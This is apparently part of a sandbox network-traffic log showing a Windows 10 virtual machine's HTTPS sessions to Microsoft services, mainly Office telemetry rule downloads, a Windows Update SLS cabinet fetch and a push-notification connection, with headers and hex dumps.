EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.6	49868	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:38:12 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:38:13 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:38:12 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: ae63cf80-d01e-00ad-1daa-42e942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063812Z-174f78459685m244hC1EWRgp2c00000013w00000000072h8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-02 06:38:13 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.6	49869	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:38:12 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:38:13 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:38:12 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: f4a7b183-b01e-0098-27d5-43cead000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063812Z-174f7845968xlwnmhC1EWR0sv800000013ug00000000a2q9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:38:13 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.6	49870	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:38:13 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:38:13 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:38:13 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: 1318377f-c01e-0034-12b7-432af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063813Z-174f78459685m244hC1EWRgp2c00000013v0000000009hkk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-02 06:38:13 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.6	49871	4.245.163.56	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:38:13 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=5syat1Zu8ocbdEw&MD=TM45XRFd HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-12-02 06:38:13 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: 5dd53515-ffde-4e53-b412-ae9944598997 MS-RequestId: df576424-cbb3-40be-aec8-d3d931ecafe7 MS-CV: RUdURMyFYE23Oiok.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Mon, 02 Dec 2024 06:38:12 GMT Connection: close Content-Length: 30005
2024-12-02 06:38:13 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-12-02 06:38:13 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.6	49872	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:38:13 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:38:13 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:38:13 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: fc0d267c-101e-0079-0929-415913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063813Z-174f7845968zgtf6hC1EWRqd8s0000000x200000000037es x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:38:13 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.6	49873	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:38:13 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:38:13 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:38:13 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: 44412a51-001e-000b-14c5-4315a7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063813Z-174f7845968j6t2phC1EWRcfe8000000143g00000000dg0a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:38:13 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.6	49874	20.198.119.143	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:38:13 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 31 50 73 52 73 6a 42 4a 56 55 75 41 75 72 32 77 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 64 32 30 39 36 35 32 32 37 39 36 62 65 65 38 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: 1PsRsjBJVUuAur2w.1Context: cd2096522796bee8
2024-12-02 06:38:13 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-02 06:38:13 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 31 50 73 52 73 6a 42 4a 56 55 75 41 75 72 32 77 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 64 32 30 39 36 35 32 32 37 39 36 62 65 65 38 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 62 2f 59 7a 76 43 38 67 54 62 2f 6d 73 4c 2b 59 51 4e 38 6f 2f 31 72 67 68 4e 79 7a 63 4e 69 35 76 6c 65 57 31 71 77 67 51 44 70 56 57 76 46 48 43 66 77 76 57 6e 35 36 4c 6d 51 71 43 31 34 63 51 38 73 55 44 54 54 4a 6c 6f 7a 6a 30 68 6a 64 77 6e 6a 34 70 43 76 71 4c 79 51 67 4b 41 53 65 51 51 61 79 42 58 6e 47 2f 4c 45 66 2f Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: 1PsRsjBJVUuAur2w.2Context: cd2096522796bee8<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAb/YzvC8gTb/msL+YQN8o/1rghNyzcNi5vleW1qwgQDpVWvFHCfwvWn56LmQqC14cQ8sUDTTJlozj0hjdwnj4pCvqLyQgKASeQQayBXnG/LEf/
2024-12-02 06:38:13 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 31 50 73 52 73 6a 42 4a 56 55 75 41 75 72 32 77 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 64 32 30 39 36 35 32 32 37 39 36 62 65 65 38 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: 1PsRsjBJVUuAur2w.3Context: cd2096522796bee8<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-02 06:38:14 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-02 06:38:14 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 5a 59 43 6b 79 4b 45 30 74 55 4b 2f 6e 6d 54 32 4a 33 61 42 6e 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: ZYCkyKE0tUK/nmT2J3aBnA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.6	49877	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:38:14 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:38:15 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:38:15 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 562f2249-001e-0028-5dab-42c49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063815Z-174f7845968qj8jrhC1EWRh41s000000142g000000001wu2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:38:15 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.6	49876	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:38:15 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:38:15 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:38:15 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: 5818dd1d-501e-0035-4638-40c923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063815Z-174f7845968jrjrxhC1EWRmmrs000000148g0000000031rw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:38:15 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.6	49880	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:38:15 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:38:15 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:38:15 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: 22aebb4e-401e-00ac-1f80-430a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063815Z-174f7845968xr5c2hC1EWRd0hn0000000nyg0000000040fs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:38:15 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 